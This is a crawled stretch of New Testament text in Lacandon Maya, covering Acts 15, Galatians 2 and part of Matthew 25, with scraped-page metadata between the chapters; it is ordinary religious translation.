Ara'bob u binob Pablo yejer Bernabé. Jeroj caj ruc'ob Bernabé yejer Pablo, caj manob yiricob u yet acsa'orirob ich u ru'umin Fenicia yejer u yet acsʌ'orirob ich u ru'umin Samaria. Tuj ocob tu cu much'quinticob u bʌj a yacsmʌnob tu yorob, jeroj caj u tsicbʌtajob ti' bic a mʌ' u winiquirob judío caj u p'ʌtajob a ba' camsa'bob ten u nunquirob quir u sayʌrob tu pach C'uj. Barej caj yubob ya'ara' ten Pablo yejer Bernabé ti' a yacsmʌnob tu yorob jeroj jach qui'jij u yorob.\n4 Barej caj c'uchob Pablo yejer Bernabé ich u cajar Jerusalén, caj acsa'bob ten a yacsmʌnob u yorob yejer a mac a tuchi'ta'b ten Jesús quir u tsec'ta'r u t'ʌn Jesús yejer u jach ts'uriob a yacsmʌnob tu yorob, a nuxibe'. Bayiri' xan, Pablo yejer Bernabé caj u tsicbʌtajob tu cotor bic tabar caj yamta'bob Pablo yejer Bernabé ten C'uj.\n5 Chen jun yarob fariseos pʌcha'an ten u yet winiquirob judío, robob u yacsmʌnob tu yorob caj ric'ob quir u tsicbarob, jeroj caj u ya'arajob:\n―Mʌ' ja wirej, a je' winiquirob a mʌ' u winiquirob judío a caj u yacsob tu yorob u t'ʌn Jaj Ts'ur ca' u yʌn ts'irob u bʌq'uer an ten bic cu naj beticob u winiquirob judío ti' u chan och a xibe'. Bayiri' xan, ca' ic chich arex ti'ob ca' u quibob tu cotor a ba' u ts'ibmʌn ic nunquirex Moisés.\n6 Rajen a xibo', a ju tetmʌn Jesús quir u tsec'ta'r u t'ʌn yejer u jach ts'urirob a yacsmʌnob tu yorob a nuxibo', caj u much'quintob u bʌj soc u p'eri'quinticob u tucurob.\n7 Caj ts'oc ya'ab u tsicbarob, caj riq'uij Pedro quir u tsicbar xan yejer u yet acsʌ'orirob, a ti', much'a'anobi' caj u ya'araj ti'ob:\n―U'yex ba' quin wa'aric techex in wet acsʌ'orirechex. A techexo', a werex bic caj u teteno' C'uj uch ichechex quir u yʌnxchun in tsec'tic u t'ʌn ich a mac a mʌ' u winiquirob judío soc robob ca' u yubejob u jach tsoyir u t'ʌn C'uj soc u yacsicob tu yorob u t'ʌn Jesús.\n8 A C'ujo', u c'ʌ'or u pixam mac biquira' caj u ts'ajaj ic najtex caj u c'ʌmaj a mac a mʌ' u winiquirob judío. Mʌ' ja wirej, C'uj caj u ts'ajaj ti'ob u Taj'or u Pixam C'uj an ten bic caj u ts'ajaj to'onex xan.\n9 Mʌ' ja wirej, C'uj caj u yajquintaj a mac a mʌ' u winiquirob judío an ten bic caj u yajquinto'onex xan, quire' quet caj u ruc'saj u si'pirob, caj u p'o'aj u pixamob a caj u yacsajob tu yorob.\n10 Biquinin baje'rer ca ts'iquintiquex C'uj, quire' a mac a mʌ' u winiquirob judío tu ca ts'ʌriquex u pachob ij quet acsa'orirex soc yaj yubicob tu yorob, quire' u t'ʌn Moisés. Mʌ' ja wirej, mʌ' c'ucha'an u yorob ic nunquirex ti' u t'ʌn Moisés, baxuc to'onex xan.\n11 Rajen toc p'ʌtex a waquex u ts'irob u bʌq'uer a mʌ' u winiquirob judío bayiri' tu ca wa'ariquex ca' u quibob a ba' cu ya'aric ich u t'ʌn Moisés. Mʌ' ja wirej, ic Jaj Ts'urirex Jesucristo caj u ruc'saj to'onex ic si'pirex wa ber caj tij cacsajex tij corex u t'ʌn C'uj, quire' C'uj cu betic tsoy ti' tu cotor mac. Bayiri' xan, C'uj caj u ruc'saj ti'ob u si'pirob, ber caj u yacsajob tu yorob u t'ʌn C'uj, a mʌ' u winiquirob judío ―baxuc caj u ya'araj Pedro ti' a mac much'a'anob.\n12 Rajen tu cotor mac caj ts'oc u yubicob a ba' caj u ya'araj Pedro mʌ' ju joc'ar u t'ʌnob, caj u mʌcaj u chi'ob. Jeroj caj ric'ob Pablo yejer Bernabé quir u tsicbarob ti' u yet acsa'orirob, a ti' much'a'anob. Jeroj tune', robob caj u yubajob Pablo yejer Bernabé a ba' caj u tsicbatajob bic caj ts'a'b u muc'ob ten C'uj soc u yesicob carem beyaj, bayiri' soc u yesicob a ba' cu jac'ʌr u yorob ti' a mʌ' u winiquirob judío.\n13 Wa ber caj ts'oc u tsicbarob Pablo yejer Bernabé, jeroj caj riq'uij Jacobo u tsicbar ti' a mac a ti' much'a'anob. Raji', caj u ya'araj ti'ob:\n―U'yex ba' quin wa'aric techex in wet acsa'orirex.\n14 A Simón Pedroje' ts'oc u tsicbatic an bic caj teta'b a mʌ' u winiquirob judío ten C'uj quir u c'ujinticob jach C'uj, soc ya'ab cu sayʌrob tu pach C'uj. Mʌ' ja wirej, Pedro caj u yʌnxchun u tsec'ticob u t'ʌn C'uj ich a mʌ' u winiquirob judío.\n15 A ba' caj u betaj Pedro uch ra' a quet yejer a ba' ara'b ten a mac a ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'uj. U'yex ba' cu yac:\n16 Ca' bin ts'ocac a ray u q'uinino', je' in wʌc'ʌs ure', quij Jaj Ts'ur. Irej a mac cu wʌc'ʌs ts'ʌpquintic yatoch a rʌc jupc'ʌjo'. Je' in wʌc'ʌs ts'ʌpquintic a rʌc jupc'ʌjo' soc tsoy. Baxuc a teno', a baywo' je' in wʌc'ʌs pʌyicob ca' u c'ujintenob an ten bic caj u c'ujintenob uch tu q'uinin cuxa'an David uch, quij. A baywo' je' in wʌc'ʌs pʌyic quir u c'ujintiquenob soc u beyajob tenob xan, quij.\n17 Baxuc je' in bin in pʌyej tu cotor mac tu cʌja'anob, a mac a mʌ' u winiquirob judío ca' u pachtejob u sʌyʌrob tin pachob, soc tenob yʌninob.\n18 Baxuc caj u ya'arej ten a mac a cu ts'ic ic najtiquex ba' a cu bin tar tu ch'ic chunin uch.\n19 'Rajen a teno' ―quij Jacobo―, quin tucric mʌ' a naj xaxaq'uiquex u tucurob a mac a mʌ' u winiquirob judío. Mʌ' ba'wir ca' ij carex u ts'irob u bʌjob an ten bic u winiquirob judío quire' caj u yacsajob tu yorob. Mʌ' ja wirej, caj u p'ʌtob a ba' camsa'b ten u nunquirob quir u sayʌrob tu pach C'uj.\n20 A teno', tin t'ʌn ti'ti' ca' ic ts'ibtex ti'ob, ca' ij ca'ariquex ti'ob, mʌ' tsoy u janticob ba' esa'an ti' u yochir tus c'uj. Ca' ij ca'arex ti'ob, mʌ' tsoy u wenʌn yejer mac a mʌ' u mamo', wa mʌ' u rac' xan. Ca' ij ca'arex ti'ob, mʌ' u yʌn chi'icob bʌc', a ti' toy yʌn u q'uiq'uero'. Arej u sisbʌstob u q'uiq'uer soc u chi'icob.\n21 Mʌ' ja wirej, baxuc baje'rer, ca' ic betex, quire' ra'iri' u q'uinino' a ucho', a tenobo' u winiquirenob judío caj in tsec'tob u t'ʌn Moisés, quire' jujuntur ich u cajarob u winiquirob judío tu cu naj much'quinticob u bʌj soc u c'ujinticob C'uj tiri' cu xaquicob u t'ʌn Moisés tu q'uinin u jesicob u bʌj u winiquirob judío.\n22 Caj u p'eri'quintaj yorob yejer u yet acsa'orirob, caj u tetob u yet acsa'orirob quir u tuchi'ta'rob ich u cajar Antioquía. A ju jach ts'uriro' ca' tur caj u tetaj, a ju c'aba'o' Judas. Chen ca' tur u c'aba', Barsabás. A junturo', Silas u c'aba'. A mac teta'bob ten Jesús uche', raji'ob p'eri'quintej yorob. Raji'ob p'eri'quintej yorob u jach ts'urirob a yacsmʌnob tu yorob ich u cajar Jerusalén. Yet acsa'orirob tu much'a'anob raji'ob p'eri'quintej yorob xan, caj teta'b Judas yejer Silas soc u binob u nupintejob Pablo yejer Bernabé.\n23 Caj binob yet binac a je' ju'una' a cu ya'aric:\n\"A tenob, tu tetenob Jesús quir in tsec'ticob u t'ʌn, quet yejer u jach ts'urirob a yacsmʌnob tu yorob, a ti' yʌnob ich u cajar Jerusalén quin t'ʌnicob techex tu cotorechex ich u cajar Antioquía a mʌ' u winiquirob judío a yacsmʌnob tu yorob. Baxuc a ti' cʌja'anob ich u ru'umin Siria quin t'ʌnicob techex xan. Baxuc a ti' cʌja'anob ich u ru'umin Cilicia quin t'ʌnicob techex.\n24 Caj in wu'yajob ya'ara' ti' tar tarob tu yʌnechex jun yarob xibo'. Caj in wu'yajob ruc'ob ich u cajar Jerusalén, cax chen tacob tu yʌnechex, mʌ' tenob tuchi'tobi'. Quire' a ray a xibo', cu ya'aricob techex, quire' cu xaxaq'uicob a tucurex. Mʌ' ja wirej, caj ya'araj techex a mac a yacsmʌnob tu yorob yʌn ts'irex a wot'erex an ten bic cu naj beticob u winiquirob judío. Bayiri' xan, caj u tus arajob qui' cʌnantex u t'ʌn Moisés.\n25 Rajen a tenobo', caj in quetquintajob in worob ca' in tuchi'tob ca'tur xib ca' xicob yejer Pablo, yejer Bernabé ca' tsicbanʌcob techex. Jach yajbir Pablo yejer Bernabé ten tu cotoro'onex a tera' a yacsmʌnob tu yorob u t'ʌn Jesús.\n26 Mʌ' ja wirej, ya'ab u tenin orac u quinsa'b Pablo yejer Bernabé, quire' ra' u beyajob a cu beticob ti' ic Jaj Ts'urirex Jesucristo.\n27 Rajen caj in tuchi'tajob Judas yejer Silas quir u toc aric techex a ba' tsicbʌjenob a tera' ich u cajar Jerusalén.\n28 Mʌ' ja wirej, u Taj'or u Pixam C'uj caj u yam tenob a ba' quin tucricob, rajen jach tsoy quir in wa'aricob techex a jera'. Mʌ' in ts'ʌrob a pachex soc wa yaj a wu'yiquex u t'ʌn Moisés. Jarari' ca' a quibex a ba' quin ts'ibticob techex baje'rer:\n29 Mʌ' a yan jantiquex a ba' cu yesicob ti' u yochir u tus C'uj. Mʌ' a yʌn chi'iquex bʌc' a ti' toy yʌn u q'uiq'uero'. Yʌn rʌc sisbʌstex u q'uiq'uer soc a chi'iquex. Mʌ' a yan uq'iquex u q'uiq'uer bʌc'. Mʌ' a yʌn wenʌnex yejer a mac a mʌna' u mamo', bayiri' xan, a mʌna' u rac', bayiri' xan a mʌ' u ch'amʌno'. Wa ca quibiquex a je' tin ts'ibtajob techex jach tsoy tan a betiquex.\" Jeroj ts'oc in ts'ibticob techex.\n30 Caj ts'oc u ts'ibticob u ju'unin caj tuchi'ta'b Pablo yejer Bernabé. Yet binacob Judas yejer Silas. Caj rʌc binob ich u cajar Antioquía. Caj c'uchob caj u t'ʌnajob ca' tacob u rʌc much'quinticob u bʌj a yacsmʌnob tu yorob quir u ts'abʌr ti' u ju'unin a ts'ibta'b ten a yacsmʌnob tu yorob ich u cajar Jerusalén.\n31 A yacsmʌnob tu yorob caj u yubajob a ba' ts'iba'an tu ju'unin, caj jach ne qui'jij yorob, rajen caj u chichquintaj yorob caj u yubobi'.\n32 Bayiri' xan, Judas yejer Silas ts'a'b u tucurob ten C'uj quir u tsec'ticob a ba' u c'at C'uj, jeroj tune', ya'ab u tenin caj u tsec'tob u t'ʌn ti' u yet acsa'orirob soc u chichquinta'r u yorob. Bayiri' xan, tan u yamta'ob ten Silas yejer Judas soc taj cu yacsicob tu yorob.\n33 Judas yejer Silas ti' yʌnob uch ya'ab u q'uinin ich u cajar Antioquía. Caj ca' sutnʌjob tu pach quir u wʌc'ʌs bin ich u cajar Jerusalén ich yʌjtuchi'yʌjirob. Cha'b u bin Judas ten a yacsmʌnob tu yorob ich u cajar Antioquía. Robob caj u ya'arajob ti':\n―Ca' u qui' cʌnantech C'uj.\n34 Chen Silas ti' p'atij ich u cajar Antioquía, caj u tucraj jach tsoy u p'atʌr.\n35 Bayiri' xan, tiri' p'atob Pablo yejer Bernabé ich u cajar Antioquía. Robob caj u p'eriquintajob u bʌj yejer u jer ya'ab caj u camsob u t'ʌn Jaj Ts'ur, bayiri' caj u tsec'tob u jach tsoyir u t'ʌn Jaj Ts'ur.\nPablo cu bin u tsec'tic u t'ʌn Jaj Ts'ur ich u jer ru'um\n36 Caj ts'oc u man ya'ab u q'uinin Pablo caj u ya'araj ti' Bernabé:\n―Jeroj cux ―quij Pablo―, ca' ij quirej tu cotor u cajarob tub ic tsec'mʌn u t'ʌn Jaj Ts'ur uch. Ca' ij t'ʌnej, ca' ij quirej bic yira' ij quet acsa'orirex.\n37 A Bernabéje', u c'at u pʌyic u yet bin u beyaj a Juan Marcos.\n38 Chen a Pablojo', caj u ya'araj:\n―Mʌ' tsoy a pʌyiqui'. Mʌ' ja wirej, caj u p'ato'on ich u cajar Panfilia. Mʌ' ja wirej, mʌ' tarij ic tsec'tej u t'ʌn C'uj yejero'on uchi'.\n39 Jeroj tune', mʌ' ju quetquintajob u yorob rajen caj u jʌsob u bʌj quire' mʌ' peri'ob u tucurob. Bernabé caj u pʌyaj Juan Marcos caj oc ich u chemin c'ac'nab quir u binob ich u petenin Chipre.\n40 Chen Pablo caj u tetaj Silas quir u bin yejer. Jeroj tune, a yacsmʌnob tu yorob, caj ts'oc u t'ʌnicob C'uj caj u c'ubajob ca' cʌnanta'c Pablo yejer Bernabé ten C'uj tu cu binob.\n41 Jeroj tun, caj ruc'ob Pablo yejer Silas quir u manob tu ru'umin Siria yejer u ru'umin Cilicia. Caj c'uchob tu cu naj much'quinticob u bʌj a yacsmʌnob tu yorob Pablo yejer Silas caj u chichquintajob u yorob u yet acsa'orirob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC15.html","date":"2022-06-27T06:09:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00281.warc.gz","language":"lac","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000032186508179}","num_words":2155,"character_repetition_ratio":0.112,"word_repetition_ratio":0.002,"special_characters_ratio":0.271,"stopwords_ratio":0.454,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nU yet ʌjtseq'uirob u t'ʌn C'uj cu yacsa'rob Pablo\n1 Caj ts'oc u man catorce u yaxq'uinin wʌc'ʌs binen ich u cajar Jerusalén. In wet binac Bernabé. Caj in pʌya Tito xan. Caj in pʌyaj in nupintej. 2 Caj binen ich u cajar Jerusalén quire' tu ya'ara ten C'uj: \"Ca' xiquech, Pablo, ich u cajar Jerusalén.\" Tu junan caj in pʌyob u ts'urirob a yacsmʌnob tu yorob. Quire' in c'at soc yerta'rob biquinin a teno' tan in man in tsec't u t'ʌn C'uj ich a mʌ' u winiquirob judío. Caj in toc araj ti'ob u jach tsoyir u t'ʌn C'uj a quin tsec'tico', soc in wer wa tsoy tu t'ʌn a ti'obo' ca' xic in tsec'tej u t'ʌn C'uj wa mʌ' tsoy in tsec't. Jaj ix tʌco' caj in sʌt in beyaj ti' C'uj. 3 Barej in nup a Titojo', cax mʌ' u winiquirob judío, raji' mʌ' ara'b ten u jach ts'urirob a yacsmʌnob tu yorob ich u cajar Jerusalén ca' u ts'ir u bʌq'uer. An ten nanij u ts'iricob u winiquirob judío, quire' qui' yorob yubicob bic tabar caj in tsec'taj. 4 Cax wa ti' yʌnob mac ich u yet acsʌ'orirob caj u c'atob u ts'ʌric u pachob Tito ca' ts'irac u bʌq'uer tu cu wix Tito. Robob caj u p'eri'quintob u bʌj yejer a yacsmʌnob tu yorob cax u tus arajob u yacsmʌnob tu yorob. Tarob u pʌquicob in pach a teno', cu tus aricob wa mʌ' jin qui' cams u t'ʌn ic nunquirex Moisés. Tarob u tus irob wa jach taj sipta'bo'onex ten Cristo Jesús ti' a ba' ts'iba'an ich u t'ʌn Moisés. Robob mʌ' u c'at yirej to'onex ca' siptaco'onex ti' u t'ʌn Moisés. U c'at yiro'onex ca' ij qui'qui' cʌnantex u t'ʌn Moisés cax mʌna' mac c'ucha'an yor ti' uch. 5 A tenobo', Bernabé yejereno', mʌ' jin wu'y u t'ʌnob a mac u c'at ca' in ts'irob u bʌq'uer mac an ten bic nanij u ts'iricob u winiquirob judío, mʌ' c'ʌs chichin caj in wu'yaj. Mʌ' ja wirej, a tenobo' caj in qui' canantob u jach tajir u t'ʌn C'uj soc mʌ' xaca'ani'. Caj in cʌnantob techex u t'ʌn C'uj soc techex yʌnin xan.\n6 Barej u jach ts'urirob ij quet acsʌ'orirob mʌ' ju toc camsen u jer ric'ben soc in wʌc'ʌs camsic ti' a mʌ' u winiquirob judío. Ba' cu tucric mac ti'ob u jach ts'urirob u yet acsa'orir. Jot a teno'. Quire' a C'ujo' mʌ' ju joc'sej mac, toc p'eriri' cu yirico'onex. 7 Barej u jach ts'urirob a yacsmʌnob tu yorob mʌ' ju yarob ca' in cams a mʌ' u winiquirob judío. Mʌ' ju ya'arob ca' in camsej ti'ob u jer t'ʌn. Chen robob caj u yirob an bic C'uj caj u c'ub u t'ʌn C'uj ten soc in beyaj tu yʌn a mʌ' u winiquirob judío. Soc yerob bic tabar u taquicob u bʌj. Mʌ' ja wirej, caj u yirob bic C'uj caj c'ub u beyaj Pedro ten C'uj ca' u camsej u t'ʌn ti' u winiquirob judío. U tiri' ti' in beyajob. 8 Mʌ' ja wirej, a C'ujo' caj ts'a'b u beyaj Pedro ca' xic u tsec't u t'ʌn ich u yet winiquirob judío. Baxuc xan, a C'ujo', caj u ts'aja in beyaj soc in tsec'tic u t'ʌn tu yʌnechex a mʌ' u winiquirechex judíojo'.\n9 Caj yirob Jacobo yejer Pedro yejer Juan a mac u jach ts'urinticob u yet acsʌ'orirob an bic tabar a C'ujo' caj u chen teten ca' xiquen beyaj tu yʌn a mʌ' u winiquirob judío. Rajen caj u ts'ajob u c'ʌb ten yejer Bernabé, a baywo' tu yacsenob tu beyajob. Quet ic beyajex, jari' robob cu beyaj ich u winiquirob judío. Chen a teno', quin beyaj tu yʌn a mʌ' u winiquirob judío, irechex. 10 U jach ts'urirob u yet acsʌ'orirob tu cajar Jerusalén caj u chen arob ten ca' in yamt a mac otsirchʌjij ich u cajar Jerusalén. A teno' caj in wa'araj in chich beyaj quir in yamtic a mac otsichʌjij in wet acsʌ'orir a ti' yʌn ich u cajar Jerusalén.\nQ'ueya'b Pedro ten Pablo tu cajar Antioquía\n11 Caj tar Pedro tu cajar Antioquía. Jeroj ʌcʌtan tu cotor u yet acsʌ'orirob caj in q'ueyaj Pedro quire' a ba' cu man yirej Pedro mʌ' quet yejer u t'ʌn C'uji'. 12 Mʌ' ja wirej, mʌ' toy c'uchucobi' a mac tuchi'ta'b ten Jacobo u jach ts'urir u yet acsʌ'orirob tu cajar Jerusalén. Mʌ' toy c'uchucobi' a Pedrojo', tan u janʌn yejer a mʌ' u winiquirob judío, a yacsmʌnob tu yorob. Barej caj c'uchob a mac tuchi'ta'b Jacobo, a Pedrojo' caj u p'ʌt u janʌnob yejerob a mʌ' u winiquirob judíojo' soc mʌ' u pʌc'ʌr u pach ten a mac tuchi'ta'b ten Jacobo. 13 Baxuc xan u yet acsʌ'orirob a u winiquirob judío caj u yesob bic tabar mʌ' chichnʌc yor ti' u t'ʌn C'uj quet yejer Pedro. Rajen cax Bernabé caj u p'ʌt u janʌnob yejer a mʌ' u winiquirob judío a tu yacsajob tu yorob. Quire' caj u ch'ajob sajquirob ti' a mac a cu tus tucricob tsoy ca' u rʌc ts'irob u bʌq'uerob a yacsmʌnob tu yorob ti' Cristo, a mʌ' u winiquirob judío, an ten bic nan u beticob u winiquirob judío uch xan. 14 Barej a teno' caj in wiraj mʌ' toy ju manob tu jach taj a ba' ts'iba'an ich u t'ʌn C'uj. Caj in t'ʌnaj Pedro ʌcʌtan u wich tu cotor yet acsʌ'orirob. Caj in wa'araj ti': \"Cax u winiquirech judíojech Pedro uch, caj a p'ʌtaj a ba' nanij caj u camsech a nunquirex. Biquinin sep caj a ts'ʌr u pachob a mʌ' u winiquirob judío, a mac mʌ' yubmʌn u t'ʌn Moisés quir u quibicob a ba' ta p'ʌtaj?\"\nU winiquirob judío quet yejer tu cotor mac ca' yacsej tu yor u t'ʌn Cristo\n15 Mʌ' ja wirej, u toc winiquiren judío, quire' rocha'ben ten in nʌ'. Rajen in werob a ba' u c'at C'uj. Chen a mʌ' u winiquirob judío mʌ' u c'ʌs erob a ba' u c'at C'uj. Quire' tenobo' u winiquenob judío, rajen in werob C'uj. 16 A C'ujo' mʌ' ju bin u c'ʌs acsej mac quire' caj u qui' cʌnantej tu cotor a ba' ts'iba'an ich u t'ʌn ic nunquirex Moisés. Ij querex a C'ujo' bin u ca' u yacsej mac a tu yacsaj tu yor ti' Jesucristo. Cax a tenobo' judíojenob quire' tin wacsa tin worob ti' Jesucristo soc u yacsiquenob ich ca'anan. Cax mʌ' jin cʌnantej a ba' ts'iba'an ich u t'ʌn Moisés. Mʌna' mac cu bin acsa'bir ten C'uj ich ca'anan quire' tu cʌnantaj a ba' ts'iba'an ich u t'ʌn Moisés. 17 Quire' a tenobo' caj in cʌxtob bic tabar cu bin u yacsiquenob ich ca'anan C'uj quire' caj in wacsaj tin worob ti' Cristo. Barej wa cu c'uchur tu q'uinin cu yiricob a tenobo' queten yejer a mac a mʌ' u cʌnanticob u t'ʌn Moisés, a mʌ' u winiquirob judío. A ra' u q'uinino' taj wa Cristojo' caj u yacsa to'onex ic si'pirex quire' tic p'ʌtex u t'ʌn Moisés. Quin wac techex, mʌ' taji'. 18 Wa jach taj ca' bin c'uchuc tu q'uinin quin wʌc'ʌs aric tsoy ca' ij quibex u t'ʌn Moisés a caj in rucsaj uche' soc ra' cu pʌyic u ber a mac a yacsmʌnob tu yorob ti' Cristo. A ray u q'uinino' taj a ba' cu yac mac. In bʌjiri' tin pʌy in si'pir a teno'. 19 Quire' a teno' Pablojen jach ire wa quimen. Mʌ' ja wirej, u t'ʌn Moisés caj u quinsen quire' mʌ' c'ucha'an in wor in quibej. Rajen quire' a ba' caj u betaj ic Jaj Ts'urirex toc cuxa'anen ʌcʌtan tu wich C'uj. Rajen mʌ' ba'wir u t'ʌn Moisés ten. 20 Mʌ' ja wirej, caj quimij Jesús ich u cruz, quet caj quimo'onex yejer. Baxuc cu yiric C'uj to'onex ti' u t'ʌn Moisés. Rajen mʌ' tu chen cha'jen ti' a uchben cuxtar tu quin man uch. Tu sijaten ric'ben cuxtar quire' ti' yʌn Cristo aca'an tin wor. Yʌn ten cuxtar ric'ben quire' caj in wacsaj tin wor ti' u parar C'uj a cu yajquintiquen. 21 A teno' mʌ' in c'at in p'ʌtic an bic C'uj caj u tuchi't u parar ich yoc'ocab. Mʌ' ja wirej, mʌ' ba'wir caj tarij Cristo quir u quimij wa c'ucha'an ij corex ic taquiquex ic bʌj tu quij cʌnantiquex a ba' ts'iba'an ich u t'ʌn Moisés.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/lacNT\/GAL02.htm","date":"2022-06-28T18:04:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103573995.30\/warc\/CC-MAIN-20220628173131-20220628203131-00690.warc.gz","language":"lac","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"lac_Latn_score\": 1.0000072717666626}","num_words":1357,"character_repetition_ratio":0.113,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"25\nJesús cu camsic an bic xquic cu binob u qui' qui' janʌnob, a diez xquique'\n1 Jesús caj ya'araj ti' u camsʌwinicob:\n―Ra' u q'uinin ca' bin tac u reyinticob C'uj. Cu bin tar ti' u winiquirob an ten bic caj tuchi'taj xquic quir u nupic a mac a cu bin u ch'ic u rac'. Tuchi'ta' xquic diez, ra' u nup' a cu bin u ch'ic u mam. Caj u rʌc ch'a'ob u quibob.\n2 Cinco xquic caj u ch'ajob u quib. Mʌ' tu qui' cʌnantajob u quib. U jer cinco caj u qui' cʌnantajob u quib.\n3 A mac a tu qui' cʌnantajob u quib, caj u ch'ajob u chujir ya'arir u quib quir u t'ajicob u jer ya'arir. Toc chup ya'arir u quib caj u ch'ajob.\n4 A mac a mʌ' tu qui' cʌnantajob u quib a tu ch'ajob. Mʌ' ya'ab caj u ch'ajob ya'arir u quib. Chen u quib caj u ch'ajob.\n5 Quire' oma'an caj c'uchij a cu bin u ch'ic u rac', rajen a xquico', caj tar u wenʌnob. Caj c'ʌs wenʌneb.\n6 Caj yubob u tar chumuc ac'bir. Caj yubob yawʌt: \"Tan u tar a mac a cu bin u ch'ic u rac'. Xenex ca' a nupex ich chumuc bej.\"\n7 Caj ric'ob, a xquico', caj u pustaj u tanin u jo'r u quib caj u t'ʌbajob.\n8 A xquico', a cinco a mʌ' u qui' cʌnanticob u quib, caj ya'araj ti' u yet t'ʌn: \"Jamach chuquej tenob ya'arir quib, quire' tan u tup'ur tenob in quibob, quire' tan xupur ya'arir.\"\n9 A xquico' a caj u qui' cʌnantajob ya'arir u quib. Caj u nuncajob: \"Mʌ' jin ts'ajob techex cʌrʌx xupuc tenob ya'arir. Joq'uenex mʌnex ya'arir techex tu cu naj co'onan ya'arir.\"\n10 Caj binob u mʌnejob ya'arir u quib a cinco xquico'. Caj c'uchij a mac a cu bin u ch'ic u rac'. Caj ocob a tu qui' cʌnantajob ya'arir u quib. Caj ocob yejer a cu bin u ch'ic u rac'. Caj u mʌcob u jor.\n11 Sansam u mʌcob u jor, caj c'uch a xquic a bin u mʌnejob u ya'arir u quib. Caj u purob u t'ʌn: \"Jach ts'urir ―quij―. Je'ej in jor quir in wocarob.\"\n12 A mac a cu bin u ch'ic u rac' caj u nuncaj: \"Taj quin wa'aric techex. Mʌ' in wirmʌnechex, rajen mʌ' in wacsiquechex.\"\n13 Caj ts'oc u camsa'rob a xquico' caj ya'araj Jesús ti' u camsʌwinicob:\n―C'ʌ'otex a jera' a caj in camsajechex soc a pajiquex in tar, quire' mʌ' a werex wa ber u q'uinin ca' bin taquen quir in yamtic mac tu cotor.\nJesús cu camsic bic tabar caj u p'ʌtaj u taq'uin u c'urew u jach ts'urir soc u jaric u jer\n14 'U winiquir cu bin u jach ts'urintic C'uj irob u c'urew jach ts'urir. U jach ts'urir bin u ca' ich u jer ru'um. Caj u rʌc much'quintaj u c'urewirob quir u p'ʌtic u taq'uin ti'ob quir u ca' jaricob u jer u taq'uin.\n15 'Caj ts'a'b u taq'uin cinco mil ten u jach ts'urir ti' u c'urew turiri'. U jer caj u ca' ts'a'b ti' u c'urew dos mil. U jer caj u ca' ts'a'b ti' mil. Caj ts'a'b u taq'uin an ten bic c'ucha'an yorob u c'urewirob tu beyajob. Caj bin u ts'urirob nach.\n16 A mac a caj u c'ʌmaj u taq'uin cinco mil caj u c'ʌnaj quir u ca' jaric u jer. Caj u ca' jaraj u jer cinco mil tu cu beyaj.\n17 A mac a ts'a'b ti' dos mil caj u c'ʌnaj. Ca' u ca' jaraj u jer dos mil tu cu beyaj.\n18 A mac a ts'a'b ti' mil caj u ta'caj u taq'uin. Caj u pan u jor u ru'um quir u muquic u taq'uin. Caj u mucaj u taq'uin ich ru'um.\n19 'Jach ya'ab u q'uinin caj ur jach ts'urir. Caj u ca' much'quintaj u c'urewob. Caj c'ata'b ti'ob: \"Mun u taq'uinob.\" Caj u jarajob u taq'uinob.\n20 Ra' yʌn c'uchij a ts'a'b ti' cinco mil, caj ya'araj ti' u jach ts'urir: \"Caj binech caj a ts'aja ten cinco mil quir in c'ʌnic. A teno' caj in jaraj u jer cinco mil tech tu quin beyaj. Je' a taq'uin cinco mil yejer u jer cinco mil caj in jaraj.\"\n21 Caj ya'araj u jach ts'ur: \"Tsoyech in c'urewech. Taj ta wa'araj ten. Qui' beyanʌjech. Caj a jaraj a taq'uin, cax mʌ' ya'ab taq'uin, caj in ts'aj tech. A baje'rer je' in ca' ts'ic tech u jer jach ya'ab. P'aten tin wicnʌn soc u qui'tar ij cor.\"\n22 Caj c'uchij a ts'a'b ti' dos mil. Caj ya'araj ti' u jach ts'urir: \"Caj binech caj a ts'ajaj ten dos mil quir in c'ʌnic. U jer caj in ca' jaraj tech. Yʌn ten u jer dos mil. A je' a dos mil a caj a ts'ajaj ten. Caj bin yejer u jer a caj in jaraj tech.\"\n23 Caj ya'araj u jach ts'urir: \"Tsoyech in c'urewech. Jach taj ca wa'aric ten. Qui' beyanʌjech caj a jaraj in taq'uin, cax mʌ' ya'ab taq'uin, caj in ts'a tech. A baje'rer je' in ca' ts'ic tech a taq'uin jach ya'ab. P'aten tin wicnʌn soc u qui'tar ij cor.\"\n24 Caj c'uchij a ts'a'b ti' turi' mil caj ya'araj ti' u jach ts'urir: \"Jach ts'urir, quij. In wer jach ts'u'tech ca nejaric a taq'uin tu ca c'ʌnic. Rajen jach manan ca jaric a taq'uin.\n25 Rajen mʌ' jin c'ʌnaj a taq'uin quire' caj in ch'aj sajquir. Rajen caj in chen panaj u jor u ru'umin quir in muquic a taq'uin. Jera' tech a taq'uin.\"\n26 U jach ts'urir caj u nuncaj ti' u c'urew: \"Jach c'asech mʌ' jach c'orech. A wer jach ts'u'ten ca' in nejaric in taq'uin tu quin c'ʌnic. Rajen jach manan ya'ab quin jaric in taq'uin.\n27 Biquinin mʌ' binech a but'ej in taq'uin ich u najitaq'uin soc in chʌc jaric u jer in taq'uin. Ca' bin uruquen ca chʌc ts'ic ten in taq'uin yejer u jer caj a jaraj ich u najitaq'uin?\"\n28 U jach ts'urir caj ya'araj ti' mac ti' yʌnob: \"A mun yʌn ti', ch'a, a ts'a u taq'uin a mac yʌn ti' diez mil.\n29 A baxuco' cu tar ti' winic xan. A mac yʌn ti' jach ya'ab u taq'uin. Je' u t'ajʌr u ba'tac hasta jach ya'ab u ba'tac. Chen a mac mʌ' ya'ab u taq'uin je' u tocar 